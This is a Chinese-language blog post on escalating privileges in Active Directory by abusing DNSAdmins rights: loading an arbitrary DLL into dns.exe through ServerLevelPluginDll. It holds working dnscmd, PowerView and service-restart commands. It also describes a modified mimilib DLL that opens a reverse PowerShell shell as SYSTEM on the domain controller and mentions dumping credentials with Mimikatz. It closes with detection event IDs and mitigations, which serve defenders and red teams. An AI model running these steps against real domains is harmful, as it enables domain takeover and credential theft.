1. 程式人生 > >濫用DNSAdmins權限進行Active Directory提權

濫用DNSAdmins權限進行Active Directory提權

域名 plugin git aud mpat win 進程資源 14. direct

0x00 前言

除了在實現自己的DNS服務器功能之外,Microsoft還為該服務器實現自己的管理協議以便於管理與Active Directory域集成。默認情況下,域控制器也是DNS服務器; 大多數情況下每個域用戶都需要訪問和使用DNS服務器的功能。反過來,這會在域控制器上暴露出相當多的攻擊面:一方面是DNS協議本身,另一方面是管理協議,它基於RPC。我們將深入研究DNS協議的實現並詳細介紹一個非常棒的提權技巧。它允許我們在某些情況下不是域管理員在域控制器上也可以運行危險代碼,雖然這並不是一個安全漏洞,正如微軟所證實的那樣,它僅僅只是一個功能的技巧,可以提供給紅隊進行AD權限提權。

通過閱讀微軟官方文檔([MS-DNSP]

https://msdn.microsoft.com/en-us/library/cc422504.aspx)收集相關的信息,並使用IDA對dns.exe進行二進制文件逆向分析。

0x01 DNS服務器管理協議基礎知識

指定域名服務(DNS)服務器管理協議,該協議定義提供遠程訪問和管理DNS服務器的方法的RPC接口。它是基於RPC的客戶端和服務器協議,用於配置,管理和監視DNS服務器。管理協議層位於RPC之上,可以在TCP或命名管道之上進行分層。如果您對協議或其實現原理感興趣,可以在域控制器的c:\windows\system32\dns.ex下的中找到它。它的RPC接口UUID值是50ABC2A4-574D-40B3-9D66-EE4FD5FBA076,它使用\ PIPE \ DNSSERVER

命名管道進行傳輸。

DNS服務器作為域控制器上運行的服務。可以通過運行命令dnsmgmt.msc連接到AD DNS服務器(通常是域控制器)來打開訪問管理界面。它允許用戶配置DNS區域,查找,緩存,轉發和日誌記錄等信息。可以確保此結構中的多個對象包括DNS服務器對象(不是計算機帳戶),區域對象和記錄。在這種情況下,我們對dns服務器對象感興趣,其全新安裝的規則策略如下圖所示:

技術分享圖片

默認情況下,只有DnsAdmins,Domain Admins,Enterprise Admins,Administrators和ENTERPRISE DOMAIN CONTROLLERS組對此對象具有寫入權限。值得註意的是,從攻擊者的角度來看,如果假如我們是每個組的成員不是屬於DnsAdmins

組,但可以對DNS具有讀寫權限的DnsAdmin用戶,那麽,讓我們看看如果我們自己有一個DnsAdmin我們可以做些什麽。

0x02 濫用DNSAdmins權限問題

·DNS管理是通過RPC執行的(UUID是50ABC2A4-574D-40B3-9D66-EE4FD5FBA076),傳輸機制是\ PIPE \ DNSSERVER命名管道。

·根據Microsoft協議規範,可通過“ServerLevelPluginDll”進行加載可選擇的dll(沒有驗證dll路徑)。

·dnscmd.exe已實現此功能:
dnscmd.exe /config /serverlevelplugindll \\path\to\dll

·以DNSAdmins成員的用戶身份執行此dnscmd.exe命令時,將註冊以下註冊表鍵值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll

·重新啟動DNS服務將在此遠程路徑中加載DLL; 但是,DLL需要包含“DnsPluginInitialize,DnsPluginCleanup或DnsPluginQuery導出的功能

·DLL只需要在域控制器的計算機帳戶能夠可以訪問的網絡共享主機上。

請註意Mimikatz包含一個可以自定義的DLL(GitHub的源代碼),因此可以在DNS服務啟動時更新要加載的Mimikatz DLL,並監視將憑據轉儲到攻擊者可能擁有訪問讀取的位置。

0x03 模糊測試ServerLevelPluginDll

消息處理事件和排序規則,基本上詳細說明了服務器需要支持的所有操作。第一個是R_DnssrvOperation,它包含一個pszOperation參數,用於確定服務器執行的操作。向下滑動可瀏覽可能的pszOperation值的列表如下:

技術分享圖片

可以看到服務器只加載我們選擇的DLL。在搜索ServerLevelPluginDll的使用說明信息後,可發現以下有用的信息:

技術分享圖片

看起來服務器甚至沒有對此操作中指定的dll路徑進行任何驗證。在開始實施之前,使用谷歌搜索ServerLevelPluginDll相關資料但並有可有的信息,但它確實彈出了有用的dnscmd命令行工具。

幸運的是,dnscmd已經實現了我們需要的一切。快速瀏覽一下它的幫助信息,也可以參考https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd

命令選項如下:

dnscmd.exe /config /serverlevelplugindll \\path\to\dll

首先,嘗試將此作為普通域用戶運行,對DNS服務器對象沒有特殊權限(Generic Read除外,它授予Pre-Windows 2000 Compatible Access組的所有成員,默認情況下包含Domain Users組),該命令執行失敗並顯示拒絕訪問的信息。如果我們為普通用戶提供對服務器對象有寫訪問權限時,則該命令可以執行成功。這意味著DnsAdmins組的成員可以成功運行此命令。

在我們的DC上運行進程監視器和進程資源管理器時,嘗試在運行有DnsAdmins成員的域計算機上運行它,我們看到並沒有DLL被加載到dns.exe的地址空間中,正如預期的那樣。但是,我們確實看到以下註冊表項已寫入了我們發送的路徑:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll

現在,出於測試目的,我們重新啟動DNS服務器服務,但是它卻無法啟動,清除註冊表項值允許它啟動。顯然它需要我們的DLL更多的東西。

在這種情況下,有幾種可能性可以快速達到我們尋求的功能 :通過IDA搜索相關字符串並搜索相關API,它通常是最簡單和最快捷的方法。在我們的例子中:LoadLibraryW或GetProcAddress為我們提供了我們需要的東西 - 通過LoadLibraryW的DLL函數代碼和調用它的函數,我們看到路徑上根本沒有驗證執行ServerLevelPluginDll

我們遇到的問題確實是唯一的:如果DLL無法加載或者它不包含DnsPluginInitialize,DnsPluginCleanup或DnsPluginQuery,該服務將無法啟動。我們還需要確保我們的導出都返回0(成功返回值),否則它們也可能導致服務失敗。

負責加載DLL的函數的偽代碼大致如下:

HMODULE hLib; 
if(g_pluginPath && * g_pluginPath){ 
  hLib = LoadLibraryW(g_pluginPath); 
  g_hndPlugin = hLib; 
  if(!hLib){... log並返回錯誤...}

g_dllDnsPluginInitialize = GetProcAddress(hLib,“DnsPluginInitialize”); 
  if(!g_dllDnsPluginInitialize){... log and return error ...} 
  g_dllDnsPluginQuery = GetProcAddress(hLib,“DnsPluginQuery”)
  if(!g_dllDnsPluginQuery){... log and return error ...} 
  g_dllDnsPluginCleanup = GetProcAddress(hLib, “DnsPluginCleanup”)
  if(!g_dllDnsPluginCleanup){... log and return error ...}

  if(g_dllDnsPluginInitialize){ 
    g_dllDnsPluginInitialize(pCallback1,pCallback2); 
  } 
}

這個POC用於演示如何在Visual Studio 2015下查看此類DLL的代碼:

技術分享圖片

編譯顯示是用於將默認導出的名稱修改為我們想要的名稱。要驗證我們的導出是否正常,我們可以使用 /exports path\to\dll

現在我們嘗試使用我們的新dll和voila運行dnscmd,它的工作原理:我們所需要的只是將我們的dll放在一個網絡路徑上,該路徑可由一個域控制器的計算機帳戶訪問(dns.exe在SYSTEM下運行)(Everyone SID的讀訪問權應該可以完成)。

雖然這表明如果您是DnsAdmins的成員,可以接管管理DNS的權限,但並不僅限於此:我們需要成功完成這一提權技巧的是一個具有對DNS服務器對象的寫訪問權限的帳戶。根據我的經驗,這些對象的ACL通常不像域管理員(或受AdminSDHolder保護的類似組)的ACL那樣受到監控,從而為不顯眼的普通域用戶提升特權提供了很好的機會。

正如官方資料所述,這應適用於所有最新的Windows Server版本:

技術分享圖片

微軟的MSRC已經就此問題進行了問題跟蹤,並表示將通過基本上只允許DC管理員更改ServerLevelPluginDll註冊表項權限來修復它,並且可以在將來的版本中關閉此功能。

無論如何,dns.exe目前仍然是以SYSTEM身份運行並受到危險的攻擊,因此對於某些模糊測試者來說它可能是一個值有用的利用點。

0x04 DNS提權為AD域管理員實例

其中作為DNSAdmins組成員或具有DNS服務器對象的寫權限的用戶可以在DNS服務器上加載具有SYSTEM權限的任意DLL。因為,許多企業設置也使用域控制器(DC)作為DNS服務器,讓我們看看這個功能的實際用法。

這裏搭建實驗來進行驗證,其中我們通過一個普通域用戶(labuser)進行初始訪問AD域(DNS和AD是同一臺服務器)。

技術分享圖片

讓我們首先使用PowerView枚舉屬於DNSAdmins組的用戶信息

PS C:\>Get-NetGroupMember -GroupName "DNSAdmins"

技術分享圖片

在真正的紅隊或pentest中,下一步是攻擊的是buildadmin用戶。我們可以使用PowerView的Invoke-UserHunter找到一個可以使用buildadmin 訪問DNS服務器的認證票據。

PS C:\>Invoke-UserHunter -UserName buildadmin(在bulidamin用戶的主機上執行獲取訪問DNS的令認證票據)

我們假設我們找到了這個認證票據,其中buildadmin的票據可用,我們當前的用戶(labuser)也具有本地管理員訪問權限。因此,我們擁有DNSAdmins組成員的用戶的權限。

現在,可能有兩種情況:一種既是DC服務器也是DNS服務器,另一種是單獨的服務器作為DNS服務器。

對於第一種情況,DNS服務器服務在DC上運行,我們可以簡單地使用dnscmd工具來加載dll。還有一個PowerShell模塊的dnsserver -但是沒有詳細使用記錄。

我們可以使用以下命令遠程加載DLL。UNC路徑\\ ops-build \ dll應該可由DC讀取。

PS C:\> dnscmd ops_dc /config /serverlevelplugindll \\ops-build\dll\mimilib.dll (普通域帳號具有訪問DNS並且有寫入權限的用戶在DNS上進行提權)

對於調試(目標上需要管理員權限),可以使用以下命令檢查DLL是否已成功添加到目標上

PS C:\>Get-ItemProperty

現在,由於獲取的用戶buildadmin屬於DNSAdmins組,我們可以重新啟動DNS服務。雖然這不是默認配置,但這樣的用戶有權重新啟動DNS服務。

C:\> sc \\ops-dc stop dns

C:\> sc \\ops-dc start dns

那麽在成功執行上述命令後我們會獲取到什麽?Benjamin 很快更新了mimilib,用於此攻擊。在此攻擊中使用的更新版本mimilib將所有DNS查詢記錄到C:\Windows\system32\kiwidns.log中。

技術分享圖片

我們可以對kdns.c進行更改為包含遠程命令執行功能。我包含了一行簡單的代碼使用Nishang的Invoke-Encode編碼混淆PowerShell shell。為DNS服務的每個查詢執行有效負載,仍然會創建並寫入到kiwidns.log

技術分享圖片

在監聽服務器上可以反彈出遠程服務器(dc)的shell:

技術分享圖片

可以成功看到獲取到域控制器上的SYSTEM權限。

對於我們的第二種情況,如果DNS服務沒有在DC上運行,我們仍然可以利用僅”DNSAdmins的權限的用戶並重新啟動DNS服務中獲得SYSTEM訪問權限。

如何檢測攻擊?
要防止攻擊,請查看獲取DNS服務器對象的寫權限和DNSAdmins組的成員身份策略。
DNS
服務重啟和一對日誌信息顯示:DNS服務器日誌事件ID 150表示失敗,770表示成功

技術分享圖片
技術分享圖片

技術分享圖片

執行成功和失敗的Microsoft-Windows-DNS-Server / Audit Log事件ID 541

技術分享圖片

監視註冊表的HKLM:\ SYSTEM \ CurrentControlSet \ services \ DNS \ Parameters \ ServerLevelPluginDll值也會有所幫助。

0x05 防禦措施

·確保只具有管理員帳戶是DNSAdmins組的成員,並確保僅管理員具有管理系統DNS的權限。

·定期查看沒有特權訪問權限的任何組/帳戶的DNS服務器對象權限策略設置是否正確。

·將RPC與DC的通信限制為僅限管理員訪問的子網。

·只允許DC管理員更改ServerLevelPluginDll註冊表項的權限。

濫用DNSAdmins權限進行Active Directory提權